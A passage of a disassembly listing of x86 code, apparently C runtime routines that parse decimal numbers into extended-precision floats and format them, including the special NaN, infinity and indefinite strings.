loc_41C1B9:				; CODE XREF: sub_41BEFD+273j
		push	0Ah
		pop	ecx
		dec	edx

loc_41C1BD:				; CODE XREF: sub_41BEFD+8Bj
					; sub_41BEFD+91j
					; DATA XREF: ...
		cmp	ecx, 0Ah	; default
					; jumptable 0041BF8E case 10
		jnz	loc_41BF82
		jmp	short loc_41C186
; ---------------------------------------------------------------------------

loc_41C1C8:				; CODE XREF: sub_41BEFD+91j
					; DATA XREF: .text:off_41C591o
		mov	[ebp+var_60], esi ; jumptable 0041BF8E case 9
		xor	ecx, ecx
		jmp	short loc_41C1E8
; ---------------------------------------------------------------------------

loc_41C1CF:				; CODE XREF: sub_41BEFD+2EDj
		cmp	al, 39h
		jg	short loc_41C1F3
		imul	ecx, 0Ah
		movsx	esi, al
		lea	ecx, [ecx+esi-30h]
		cmp	ecx, 1450h
		jg	short loc_41C1EE
		mov	al, [edx]
		inc	edx

loc_41C1E8:				; CODE XREF: sub_41BEFD+2D0j
		cmp	al, bl
		jge	short loc_41C1CF
		jmp	short loc_41C1F3
; ---------------------------------------------------------------------------

loc_41C1EE:				; CODE XREF: sub_41BEFD+2E6j
		mov	ecx, 1451h

loc_41C1F3:				; CODE XREF: sub_41BEFD+2D4j
					; sub_41BEFD+2EFj
		mov	[ebp+var_64], ecx
		jmp	short loc_41C203
; ---------------------------------------------------------------------------

loc_41C1F8:				; CODE XREF: sub_41BEFD+308j
		cmp	al, 39h
		jg	loc_41C15B
		mov	al, [edx]
		inc	edx

loc_41C203:				; CODE XREF: sub_41BEFD+2F9j
		cmp	al, bl
		jge	short loc_41C1F8
		jmp	loc_41C15B
; ---------------------------------------------------------------------------

loc_41C20C:				; CODE XREF: sub_41BEFD+319j
		dec	[ebp+var_4C]
		inc	[ebp+var_50]

loc_41C212:				; CODE XREF: sub_41BEFD+2BAj
		dec	edi
		cmp	byte ptr [edi],	0
		jz	short loc_41C20C
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+var_4C]
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41D2BA
		mov	eax, [ebp+var_64]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_68], ecx
		jge	short loc_41C237
		neg	eax

loc_41C237:				; CODE XREF: sub_41BEFD+336j
		add	eax, [ebp+var_50]
		cmp	[ebp+var_60], ecx
		jnz	short loc_41C242
		add	eax, [ebp+arg_10]

loc_41C242:				; CODE XREF: sub_41BEFD+340j
		cmp	[ebp+var_5C], ecx
		jnz	short loc_41C24A
		sub	eax, [ebp+arg_14]

loc_41C24A:				; CODE XREF: sub_41BEFD+348j
		cmp	eax, 1450h
		jg	loc_41C543
		cmp	eax, 0FFFFEBB0h
		jl	loc_41C55A
		mov	esi, offset dword_424240
		sub	esi, 60h
		cmp	eax, ecx
		mov	[ebp+var_54], eax
		jz	loc_41C528
		jge	short loc_41C282
		neg	eax
		mov	esi, offset dword_4243A0
		mov	[ebp+var_54], eax
		sub	esi, 60h

loc_41C282:				; CODE XREF: sub_41BEFD+376j
		cmp	[ebp+arg_C], ecx
		jnz	short loc_41C28B
		mov	word ptr [ebp+var_3C], cx

loc_41C28B:				; CODE XREF: sub_41BEFD+388j
		cmp	[ebp+var_54], ecx
		jz	loc_41C528

loc_41C294:				; CODE XREF: sub_41BEFD+625j
		mov	eax, [ebp+var_54]
		sar	[ebp+var_54], 3
		add	esi, 54h
		and	eax, 7
		test	eax, eax
		mov	[ebp+var_4C], esi
		jz	loc_41C51E
		imul	eax, 0Ch
		add	eax, esi
		mov	ebx, eax
		cmp	word ptr [ebx],	8000h
		mov	[ebp+var_70], ebx
		jb	short loc_41C2D1
		mov	esi, ebx
		lea	edi, [ebp+var_48]
		movsd
		movsd
		movsd
		dec	[ebp+var_46]
		mov	esi, [ebp+var_4C]
		lea	ebx, [ebp+var_48]
		mov	[ebp+var_70], ebx

loc_41C2D1:				; CODE XREF: sub_41BEFD+3BEj
		movzx	edx, word ptr [ebx+0Ah]
		mov	ecx, [ebp+var_32]
		xor	eax, eax
		mov	[ebp+var_50], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], eax
		mov	eax, edx
		mov	edi, 7FFFh
		xor	eax, ecx
		and	ecx, edi
		and	edx, edi
		and	eax, 8000h
		cmp	cx, 7FFFh
		lea	edi, [edx+ecx]
		movzx	edi, di
		jnb	loc_41C504
		cmp	dx, 7FFFh
		jnb	loc_41C504
		cmp	di, 0BFFDh
		ja	loc_41C504
		cmp	di, 3FBFh
		ja	short loc_41C333
		xor	eax, eax
		mov	[ebp+var_38], eax
		mov	[ebp+var_3C], eax
		jmp	loc_41C51B
; ---------------------------------------------------------------------------

loc_41C333:				; CODE XREF: sub_41BEFD+427j
		test	cx, cx
		jnz	short loc_41C357
		inc	edi
		test	dword ptr [ebp-34h], 7FFFFFFFh
		jnz	short loc_41C357
		cmp	[ebp+var_38], 0
		jnz	short loc_41C357
		cmp	[ebp+var_3C], 0
		jnz	short loc_41C357
		and	word ptr [ebp+var_32], cx
		jmp	loc_41C51E
; ---------------------------------------------------------------------------

loc_41C357:				; CODE XREF: sub_41BEFD+439j
					; sub_41BEFD+443j ...
		xor	ecx, ecx
		cmp	dx, cx
		jnz	short loc_41C37F
		inc	edi
		test	dword ptr [ebx+8], 7FFFFFFFh
		jnz	short loc_41C37F
		cmp	[ebx+4], ecx
		jnz	short loc_41C37F
		cmp	[ebx], ecx
		jnz	short loc_41C37F
		mov	[ebp-34h], ecx
		mov	[ebp+var_38], ecx
		mov	[ebp+var_3C], ecx
		jmp	loc_41C51E
; ---------------------------------------------------------------------------

loc_41C37F:				; CODE XREF: sub_41BEFD+45Fj
					; sub_41BEFD+469j ...
		and	[ebp+var_68], ecx
		lea	esi, [ebp+var_28]
		mov	[ebp+var_58], 5

loc_41C38C:				; CODE XREF: sub_41BEFD+4FFj
		mov	ecx, [ebp+var_68]
		mov	edx, [ebp+var_58]
		add	ecx, ecx
		test	edx, edx
		mov	[ebp+var_64], edx
		jle	short loc_41C3F0
		lea	ecx, [ebp+ecx+var_3C]
		add	ebx, 8
		mov	[ebp+var_5C], ecx
		mov	[ebp+var_60], ebx

loc_41C3A8:				; CODE XREF: sub_41BEFD+4EEj
		mov	ecx, [ebp+var_60]
		mov	edx, [ebp+var_5C]
		movzx	edx, word ptr [edx]
		movzx	ecx, word ptr [ecx]
		and	[ebp+var_78], 0
		imul	ecx, edx
		mov	edx, [esi-4]
		lea	ebx, [edx+ecx]
		cmp	ebx, edx
		jb	short loc_41C3C9
		cmp	ebx, ecx
		jnb	short loc_41C3D0

loc_41C3C9:				; CODE XREF: sub_41BEFD+4C6j
		mov	[ebp+var_78], 1

loc_41C3D0:				; CODE XREF: sub_41BEFD+4CAj
		cmp	[ebp+var_78], 0
		mov	[esi-4], ebx
		jz	short loc_41C3DC
		inc	word ptr [esi]

loc_41C3DC:				; CODE XREF: sub_41BEFD+4DAj
		add	[ebp+var_5C], 2
		sub	[ebp+var_60], 2
		dec	[ebp+var_64]
		cmp	[ebp+var_64], 0
		jg	short loc_41C3A8
		mov	ebx, [ebp+var_70]

loc_41C3F0:				; CODE XREF: sub_41BEFD+49Cj
		inc	esi
		inc	esi
		inc	[ebp+var_68]
		dec	[ebp+var_58]
		cmp	[ebp+var_58], 0
		jg	short loc_41C38C
		add	edi, 0C002h
		test	di, di
		jle	short loc_41C444

loc_41C409:				; CODE XREF: sub_41BEFD+540j
		test	[ebp+var_24], 80000000h
		jnz	short loc_41C43F
		mov	esi, [ebp+var_28]
		mov	ecx, [ebp+var_2C]
		shl	[ebp+var_2C], 1
		shr	ecx, 1Fh
		mov	edx, esi
		add	esi, esi
		or	esi, ecx
		mov	ecx, [ebp+var_24]
		shr	edx, 1Fh
		add	ecx, ecx
		or	ecx, edx
		add	edi, 0FFFFh
		test	di, di
		mov	[ebp+var_28], esi
		mov	[ebp+var_24], ecx
		jg	short loc_41C409

loc_41C43F:				; CODE XREF: sub_41BEFD+513j
		test	di, di
		jg	short loc_41C492

loc_41C444:				; CODE XREF: sub_41BEFD+50Aj
		add	edi, 0FFFFh
		test	di, di
		jge	short loc_41C492
		mov	ecx, edi
		neg	ecx
		movzx	esi, cx
		add	edi, esi

loc_41C458:				; CODE XREF: sub_41BEFD+588j
		test	byte ptr [ebp+var_2C], 1
		jz	short loc_41C461
		inc	[ebp+var_50]

loc_41C461:				; CODE XREF: sub_41BEFD+55Fj
		mov	ecx, [ebp+var_24]
		mov	ebx, [ebp+var_28]
		mov	edx, [ebp+var_28]
		shr	[ebp+var_24], 1
		shl	ecx, 1Fh
		shr	ebx, 1
		or	ebx, ecx
		mov	ecx, [ebp+var_2C]
		shl	edx, 1Fh
		shr	ecx, 1
		or	ecx, edx
		dec	esi
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], ecx
		jnz	short loc_41C458
		cmp	[ebp+var_50], 0
		jz	short loc_41C492
		or	word ptr [ebp+var_2C], 1

loc_41C492:				; CODE XREF: sub_41BEFD+545j
					; sub_41BEFD+550j ...
		cmp	word ptr [ebp+var_2C], 8000h
		ja	short loc_41C4AB
		mov	ecx, [ebp+var_2C]
		and	ecx, 1FFFFh
		cmp	ecx, 18000h
		jnz	short loc_41C4DE

loc_41C4AB:				; CODE XREF: sub_41BEFD+59Bj
		cmp	[ebp+var_2C+2],	0FFFFFFFFh
		jnz	short loc_41C4DB
		and	[ebp+var_2C+2],	0
		cmp	[ebp+var_28+2],	0FFFFFFFFh
		jnz	short loc_41C4D6
		and	[ebp+var_28+2],	0
		cmp	word ptr [ebp+var_24+2], 0FFFFh
		jnz	short loc_41C4D0
		mov	word ptr [ebp+var_24+2], 8000h
		inc	edi
		jmp	short loc_41C4DE
; ---------------------------------------------------------------------------

loc_41C4D0:				; CODE XREF: sub_41BEFD+5C8j
		inc	word ptr [ebp+var_24+2]
		jmp	short loc_41C4DE
; ---------------------------------------------------------------------------

loc_41C4D6:				; CODE XREF: sub_41BEFD+5BCj
		inc	[ebp+var_28+2]
		jmp	short loc_41C4DE
; ---------------------------------------------------------------------------

loc_41C4DB:				; CODE XREF: sub_41BEFD+5B2j
		inc	[ebp+var_2C+2]

loc_41C4DE:				; CODE XREF: sub_41BEFD+5ACj
					; sub_41BEFD+5D1j ...
		cmp	di, 7FFFh
		mov	esi, [ebp+var_4C]
		jnb	short loc_41C504
		mov	cx, word ptr [ebp+var_2C+2]
		mov	word ptr [ebp+var_3C], cx
		mov	ecx, [ebp+var_28]
		mov	[ebp+var_3C+2],	ecx
		mov	ecx, [ebp+var_24]
		or	edi, eax
		mov	[ebp+var_38+2],	ecx
		mov	word ptr [ebp+var_32], di
		jmp	short loc_41C51E
; ---------------------------------------------------------------------------

loc_41C504:				; CODE XREF: sub_41BEFD+406j
					; sub_41BEFD+411j ...
		neg	ax
		sbb	eax, eax
		and	[ebp+var_38], 0
		and	eax, 80000000h
		add	eax, 7FFF8000h
		and	[ebp+var_3C], 0

loc_41C51B:				; CODE XREF: sub_41BEFD+431j
		mov	[ebp-34h], eax

loc_41C51E:				; CODE XREF: sub_41BEFD+3A9j
					; sub_41BEFD+455j ...
		cmp	[ebp+var_54], 0
		jnz	loc_41C294

loc_41C528:				; CODE XREF: sub_41BEFD+370j
					; sub_41BEFD+391j
		mov	eax, [ebp-34h]
		movzx	ecx, word ptr [ebp+var_3C]
		mov	esi, [ebp+var_3C+2]
		mov	edx, [ebp+var_38+2]
		shr	eax, 10h
		jmp	short loc_41C569
; ---------------------------------------------------------------------------

loc_41C53A:				; CODE XREF: sub_41BEFD+292j
		mov	[ebp+var_6C], 4
		jmp	short loc_41C561
; ---------------------------------------------------------------------------

loc_41C543:				; CODE XREF: sub_41BEFD+352j
		xor	esi, esi
		mov	eax, 7FFFh
		mov	edx, 80000000h
		xor	ecx, ecx
		mov	[ebp+var_6C], 2
		jmp	short loc_41C569
; ---------------------------------------------------------------------------

loc_41C55A:				; CODE XREF: sub_41BEFD+35Dj
		mov	[ebp+var_6C], 1

loc_41C561:				; CODE XREF: sub_41BEFD+2B4j
					; sub_41BEFD+644j
		xor	ecx, ecx
		xor	eax, eax
		xor	edx, edx
		xor	esi, esi

loc_41C569:				; CODE XREF: sub_41BEFD+63Bj
					; sub_41BEFD+65Bj
		mov	edi, [ebp+var_7C]
		or	eax, [ebp+var_74]
		mov	[edi], cx
		mov	[edi+0Ah], ax
		mov	eax, [ebp+var_6C]
		mov	[edi+2], esi
		mov	[edi+6], edx

loc_41C57F:				; CODE XREF: sub_41BEFD+63j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AB4A
		leave
		retn
sub_41BEFD	endp

; ---------------------------------------------------------------------------
		db 8Dh,	49h, 0
off_41C591	dd offset loc_41BF95	; DATA XREF: sub_41BEFD+91r
		dd offset loc_41BFE9	; jump table for switch	statement
		dd offset loc_41C03F
		dd offset loc_41C072
		dd offset loc_41C0B7
		dd offset loc_41C0EF
		dd offset loc_41C103
		dd offset loc_41C15E
		dd offset loc_41C149
		dd offset loc_41C1C8
		dd offset loc_41C1BD
		dd offset loc_41C16C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C5C1	proc near		; CODE XREF: sub_41B281+3Fp

var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1A		= dword	ptr -1Ah
var_16		= dword	ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 74h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		lea	esi, [ebp+arg_0]
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsw
		mov	edx, [ebp+var_8]
		mov	ecx, edx
		mov	eax, 8000h
		and	ecx, eax
		and	edx, 7FFFh
		test	cx, cx
		mov	[ebp+var_60], ebx
		mov	byte ptr [ebp+var_30], 0CCh
		mov	byte ptr [ebp+var_30+1], 0CCh
		mov	byte ptr [ebp+var_30+2], 0CCh
		mov	byte ptr [ebp+var_30+3], 0CCh
		mov	byte ptr [ebp+var_2C], 0CCh
		mov	byte ptr [ebp+var_2C+1], 0CCh
		mov	byte ptr [ebp+var_2C+2], 0CCh
		mov	byte ptr [ebp+var_2C+3], 0CCh
		mov	byte ptr [ebp+var_28], 0CCh
		mov	byte ptr [ebp+var_28+1], 0CCh
		mov	byte ptr [ebp+var_28+2], 0FBh
		mov	byte ptr [ebp+var_28+3], 3Fh
		mov	[ebp+var_74], 1
		mov	[ebp+var_6C], ecx
		jz	short loc_41C63B
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41C63F
; ---------------------------------------------------------------------------

loc_41C63B:				; CODE XREF: sub_41C5C1+72j
		mov	byte ptr [ebx+2], 20h

loc_41C63F:				; CODE XREF: sub_41C5C1+78j
		test	dx, dx
		mov	esi, [ebp+var_C]
		mov	edi, [ebp+var_10]
		jnz	short loc_41C678
		test	esi, esi
		jnz	short loc_41C678
		test	edi, edi
		jnz	short loc_41C678
		and	[ebx], di
		cmp	cx, ax
		setnz	al
		dec	al
		and	al, 0Dh
		add	al, 20h
		mov	[ebx+2], al
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		mov	byte ptr [ebx+5], 0

loc_41C670:				; CODE XREF: sub_41C5C1+6FBj
					; sub_41C5C1+8C3j
		xor	eax, eax
		inc	eax
		jmp	loc_41CE41
; ---------------------------------------------------------------------------

loc_41C678:				; CODE XREF: sub_41C5C1+87j
					; sub_41C5C1+8Bj ...
		cmp	dx, 7FFFh
		jnz	loc_41C721
		mov	eax, 80000000h
		cmp	esi, eax
		mov	word ptr [ebx],	1
		jnz	short loc_41C695
		test	edi, edi
		jz	short loc_41C6A4

loc_41C695:				; CODE XREF: sub_41C5C1+CEj
		test	esi, 40000000h
		jnz	short loc_41C6A4
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41C6F5
; ---------------------------------------------------------------------------

loc_41C6A4:				; CODE XREF: sub_41C5C1+D2j
					; sub_41C5C1+DAj
		test	cx, cx
		jz	short loc_41C6BC
		cmp	esi, 0C0000000h
		jnz	short loc_41C6BC
		test	edi, edi
		jnz	short loc_41C6F0
		push	offset a1Ind	; "1#IND"
		jmp	short loc_41C6C9
; ---------------------------------------------------------------------------

loc_41C6BC:				; CODE XREF: sub_41C5C1+E6j
					; sub_41C5C1+EEj
		cmp	esi, eax
		jnz	short loc_41C6F0
		test	edi, edi
		jnz	short loc_41C6F0
		push	offset a1Inf	; "1#INF"

loc_41C6C9:				; CODE XREF: sub_41C5C1+F9j
		lea	eax, [ebx+4]
		push	16h
		push	eax
		call	sub_4117D5
		add	esp, 0Ch
		xor	esi, esi
		test	eax, eax
		jz	short loc_41C6EA
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40CA0C
		add	esp, 14h

loc_41C6EA:				; CODE XREF: sub_41C5C1+11Aj
		mov	byte ptr [ebx+3], 5
		jmp	short loc_41C71A
; ---------------------------------------------------------------------------

loc_41C6F0:				; CODE XREF: sub_41C5C1+F2j
					; sub_41C5C1+FDj ...
		push	offset a1Qnan	; "1#QNAN"

loc_41C6F5:				; CODE XREF: sub_41C5C1+E1j
		lea	eax, [ebx+4]
		push	16h
		push	eax
		call	sub_4117D5
		add	esp, 0Ch
		xor	esi, esi
		test	eax, eax
		jz	short loc_41C716
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40CA0C
		add	esp, 14h

loc_41C716:				; CODE XREF: sub_41C5C1+146j
		mov	byte ptr [ebx+3], 6

loc_41C71A:				; CODE XREF: sub_41C5C1+12Dj
		xor	eax, eax
		jmp	loc_41CE41
; ---------------------------------------------------------------------------

loc_41C721:				; CODE XREF: sub_41C5C1+BCj
		movzx	ecx, dx
		mov	ebx, ecx
		imul	ecx, 4D10h
		shr	ebx, 8
		mov	eax, esi
		shr	eax, 18h
		lea	eax, [ebx+eax*2]
		imul	eax, 4Dh
		lea	eax, [eax+ecx-134312F4h]
		sar	eax, 10h
		movzx	ecx, ax
		movsx	ebx, cx
		mov	[ebp+var_4C], ecx
		xor	eax, eax
		mov	ecx, offset dword_424240
		neg	ebx
		sub	ecx, 60h
		cmp	ebx, eax
		mov	word ptr [ebp+var_16], dx
		mov	[ebp+var_1A], esi
		mov	[ebp+var_20+2],	edi
		mov	word ptr [ebp+var_20], ax
		mov	[ebp+var_68], ecx
		jz	loc_41CA20
		jge	short loc_41C781
		mov	ecx, offset dword_4243A0
		neg	ebx
		sub	ecx, 60h
		mov	[ebp+var_68], ecx

loc_41C781:				; CODE XREF: sub_41C5C1+1B1j
		cmp	ebx, eax
		jz	loc_41CA20

loc_41C789:				; CODE XREF: sub_41C5C1+457j
		add	[ebp+var_68], 54h
		mov	ecx, ebx
		and	ecx, 7
		sar	ebx, 3
		test	ecx, ecx
		jz	loc_41CA16
		imul	ecx, 0Ch
		add	ecx, [ebp+var_68]
		cmp	word ptr [ecx],	8000h
		mov	[ebp+var_64], ecx
		jb	short loc_41C7C0
		mov	esi, ecx
		lea	edi, [ebp+var_3C]
		movsd
		movsd
		lea	eax, [ebp+var_3C]
		movsd
		dec	[ebp+var_3C+2]
		mov	[ebp+var_64], eax
		mov	ecx, eax

loc_41C7C0:				; CODE XREF: sub_41C5C1+1EAj
		movzx	edi, word ptr [ecx+0Ah]
		mov	edx, [ebp+var_16]
		xor	eax, eax
		mov	ecx, edi
		mov	esi, 7FFFh
		xor	ecx, edx
		and	edx, esi
		and	edi, esi
		mov	[ebp+var_48], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		and	ecx, 8000h
		cmp	dx, si
		lea	eax, [edi+edx]
		movzx	eax, ax
		jnb	loc_41C9FA
		cmp	di, si
		jnb	loc_41C9FA
		cmp	ax, 0BFFDh
		ja	loc_41C9FA
		cmp	ax, 3FBFh
		ja	short loc_41C820
		xor	eax, eax
		mov	[ebp+var_1A+2],	eax
		mov	[ebp-1Ch], eax
		mov	[ebp+var_20], eax
		jmp	loc_41CA16
; ---------------------------------------------------------------------------

loc_41C820:				; CODE XREF: sub_41C5C1+24Dj
		xor	esi, esi
		cmp	dx, si
		jnz	short loc_41C844
		inc	eax
		test	[ebp+var_1A+2],	7FFFFFFFh
		jnz	short loc_41C844
		cmp	[ebp-1Ch], esi
		jnz	short loc_41C844
		cmp	[ebp+var_20], esi
		jnz	short loc_41C844
		mov	word ptr [ebp+var_16], si
		jmp	loc_41CA16
; ---------------------------------------------------------------------------

loc_41C844:				; CODE XREF: sub_41C5C1+264j
					; sub_41C5C1+26Ej ...
		cmp	di, si
		jnz	short loc_41C86D
		mov	edx, [ebp+var_64]
		inc	eax
		test	dword ptr [edx+8], 7FFFFFFFh
		jnz	short loc_41C86D
		cmp	[edx+4], esi
		jnz	short loc_41C86D
		cmp	[edx], esi
		jnz	short loc_41C86D
		mov	[ebp+var_1A+2],	esi
		mov	[ebp-1Ch], esi
		mov	[ebp+var_20], esi
		jmp	loc_41CA16
; ---------------------------------------------------------------------------

loc_41C86D:				; CODE XREF: sub_41C5C1+286j
					; sub_41C5C1+293j ...
		lea	edi, [ebp+var_C]
		mov	[ebp+var_5C], esi
		mov	[ebp+var_44], edi
		mov	[ebp+var_40], 5

loc_41C87D:				; CODE XREF: sub_41C5C1+332j
		mov	edx, [ebp+var_5C]
		mov	esi, [ebp+var_40]
		add	edx, edx
		test	esi, esi
		mov	[ebp+var_50], esi
		jle	short loc_41C8E4
		lea	edx, [ebp+edx+var_20]
		mov	[ebp+var_58], edx
		mov	edx, [ebp+var_64]
		add	edx, 8
		mov	[ebp+var_54], edx

loc_41C89C:				; CODE XREF: sub_41C5C1+321j
		mov	edx, [ebp+var_58]
		mov	esi, [ebp+var_54]
		movzx	esi, word ptr [esi]
		movzx	edx, word ptr [edx]
		mov	edi, [edi-4]
		imul	edx, esi
		and	[ebp+var_70], 0
		lea	esi, [edi+edx]
		cmp	esi, edi
		jb	short loc_41C8BD
		cmp	esi, edx
		jnb	short loc_41C8C4

loc_41C8BD:				; CODE XREF: sub_41C5C1+2F6j
		mov	[ebp+var_70], 1

loc_41C8C4:				; CODE XREF: sub_41C5C1+2FAj
		cmp	[ebp+var_70], 0
		mov	edi, [ebp+var_44]
		mov	[edi-4], esi
		jz	short loc_41C8D3
		inc	word ptr [edi]

loc_41C8D3:				; CODE XREF: sub_41C5C1+30Dj
		add	[ebp+var_58], 2
		sub	[ebp+var_54], 2
		dec	[ebp+var_50]
		cmp	[ebp+var_50], 0
		jg	short loc_41C89C

loc_41C8E4:				; CODE XREF: sub_41C5C1+2C9j
		inc	edi
		inc	edi
		inc	[ebp+var_5C]
		dec	[ebp+var_40]
		cmp	[ebp+var_40], 0
		mov	[ebp+var_44], edi
		jg	short loc_41C87D
		add	eax, 0C002h
		test	ax, ax
		jle	short loc_41C93A

loc_41C8FF:				; CODE XREF: sub_41C5C1+372j
		test	[ebp+var_8], 80000000h
		jnz	short loc_41C935
		mov	edx, [ebp+var_10]
		mov	edi, [ebp+var_C]
		mov	esi, [ebp+var_C]
		shl	[ebp+var_10], 1
		shr	edx, 1Fh
		add	edi, edi
		or	edi, edx
		mov	edx, [ebp+var_8]
		shr	esi, 1Fh
		add	edx, edx
		or	edx, esi
		add	eax, 0FFFFh
		test	ax, ax
		mov	[ebp+var_C], edi
		mov	[ebp+var_8], edx
		jg	short loc_41C8FF

loc_41C935:				; CODE XREF: sub_41C5C1+345j
		test	ax, ax
		jg	short loc_41C98C

loc_41C93A:				; CODE XREF: sub_41C5C1+33Cj
		add	eax, 0FFFFh
		test	ax, ax
		jge	short loc_41C98C
		mov	edx, eax
		neg	edx
		movzx	edx, dx
		mov	[ebp+var_44], edx
		add	eax, edx

loc_41C950:				; CODE XREF: sub_41C5C1+3BEj
		test	byte ptr [ebp+var_10], 1
		jz	short loc_41C959
		inc	[ebp+var_48]

loc_41C959:				; CODE XREF: sub_41C5C1+393j
		mov	edx, [ebp+var_8]
		mov	edi, [ebp+var_C]
		mov	esi, [ebp+var_C]
		shr	[ebp+var_8], 1
		shl	edx, 1Fh
		shr	edi, 1
		or	edi, edx
		mov	edx, [ebp+var_10]
		shl	esi, 1Fh
		shr	edx, 1
		or	edx, esi
		dec	[ebp+var_44]
		mov	[ebp+var_C], edi
		mov	[ebp+var_10], edx
		jnz	short loc_41C950
		cmp	[ebp+var_48], 0
		jz	short loc_41C98C
		or	word ptr [ebp+var_10], 1

loc_41C98C:				; CODE XREF: sub_41C5C1+377j
					; sub_41C5C1+381j ...
		cmp	word ptr [ebp+var_10], 8000h
		ja	short loc_41C9A5
		mov	edx, [ebp+var_10]
		and	edx, 1FFFFh
		cmp	edx, 18000h
		jnz	short loc_41C9D8

loc_41C9A5:				; CODE XREF: sub_41C5C1+3D1j
		cmp	[ebp+var_10+2],	0FFFFFFFFh
		jnz	short loc_41C9D5
		and	[ebp+var_10+2],	0
		cmp	[ebp+var_C+2], 0FFFFFFFFh
		jnz	short loc_41C9D0
		and	[ebp+var_C+2], 0
		cmp	word ptr [ebp+var_8+2],	0FFFFh
		jnz	short loc_41C9CA
		mov	word ptr [ebp+var_8+2],	8000h
		inc	eax
		jmp	short loc_41C9D8
; ---------------------------------------------------------------------------

loc_41C9CA:				; CODE XREF: sub_41C5C1+3FEj
		inc	word ptr [ebp+var_8+2]
		jmp	short loc_41C9D8
; ---------------------------------------------------------------------------

loc_41C9D0:				; CODE XREF: sub_41C5C1+3F2j
		inc	[ebp+var_C+2]
		jmp	short loc_41C9D8
; ---------------------------------------------------------------------------

loc_41C9D5:				; CODE XREF: sub_41C5C1+3E8j
		inc	[ebp+var_10+2]

loc_41C9D8:				; CODE XREF: sub_41C5C1+3E2j
					; sub_41C5C1+407j ...
		cmp	ax, 7FFFh
		jnb	short loc_41C9FA
		mov	dx, word ptr [ebp+var_10+2]
		mov	word ptr [ebp+var_20], dx
		mov	edx, [ebp+var_C]
		mov	[ebp+var_20+2],	edx
		mov	edx, [ebp+var_8]
		or	eax, ecx
		mov	[ebp+var_1A], edx
		mov	word ptr [ebp+var_16], ax
		jmp	short loc_41CA16
; ---------------------------------------------------------------------------

loc_41C9FA:				; CODE XREF: sub_41C5C1+230j
					; sub_41C5C1+239j ...
		neg	cx
		sbb	ecx, ecx
		and	dword ptr [ebp-1Ch], 0
		and	ecx, 80000000h
		add	ecx, 7FFF8000h
		and	[ebp+var_20], 0
		mov	[ebp+var_1A+2],	ecx

loc_41CA16:				; CODE XREF: sub_41C5C1+1D6j
					; sub_41C5C1+25Aj ...
		test	ebx, ebx
		jnz	loc_41C789
		xor	eax, eax

loc_41CA20:				; CODE XREF: sub_41C5C1+1ABj
					; sub_41C5C1+1C2j
		mov	ecx, [ebp+var_1A+2]
		shr	ecx, 10h
		cmp	cx, 3FFFh
		mov	ebx, 7FFFh
		jb	loc_41CC80
		mov	esi, [ebp+var_28+2]
		inc	[ebp+var_4C]
		movzx	edx, cx
		mov	ecx, esi
		xor	ecx, edx
		and	edx, ebx
		and	esi, ebx
		and	ecx, 8000h
		cmp	dx, bx
		lea	edi, [esi+edx]
		mov	[ebp+var_58], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		movzx	edi, di
		jnb	loc_41CC66
		cmp	si, bx
		jnb	loc_41CC66
		cmp	di, 0BFFDh
		ja	loc_41CC66
		cmp	di, 3FBFh
		ja	short loc_41CA8B

loc_41CA83:				; CODE XREF: sub_41C5C1+503j
		mov	[ebp+var_1A+2],	eax
		jmp	loc_41CC7A
; ---------------------------------------------------------------------------

loc_41CA8B:				; CODE XREF: sub_41C5C1+4C0j
		cmp	dx, ax
		jnz	short loc_41CAAD
		inc	edi
		test	[ebp+var_1A+2],	7FFFFFFFh
		jnz	short loc_41CAAD
		cmp	[ebp-1Ch], eax
		jnz	short loc_41CAAD
		cmp	[ebp+var_20], eax
		jnz	short loc_41CAAD
		mov	word ptr [ebp+var_16], ax
		jmp	loc_41CC80
; ---------------------------------------------------------------------------

loc_41CAAD:				; CODE XREF: sub_41C5C1+4CDj
					; sub_41C5C1+4D7j ...
		cmp	si, ax
		jnz	short loc_41CAC6
		inc	edi
		test	[ebp+var_28], 7FFFFFFFh
		jnz	short loc_41CAC6
		cmp	[ebp+var_2C], eax
		jnz	short loc_41CAC6
		cmp	[ebp+var_30], eax
		jz	short loc_41CA83

loc_41CAC6:				; CODE XREF: sub_41C5C1+4EFj
					; sub_41C5C1+4F9j ...
		and	[ebp+var_54], 0
		lea	eax, [ebp+var_C]
		mov	[ebp+var_40], 5

loc_41CAD4:				; CODE XREF: sub_41C5C1+580j
		mov	edx, [ebp+var_54]
		mov	esi, [ebp+var_40]
		add	edx, edx
		test	esi, esi
		mov	[ebp+var_50], esi
		jle	short loc_41CB35
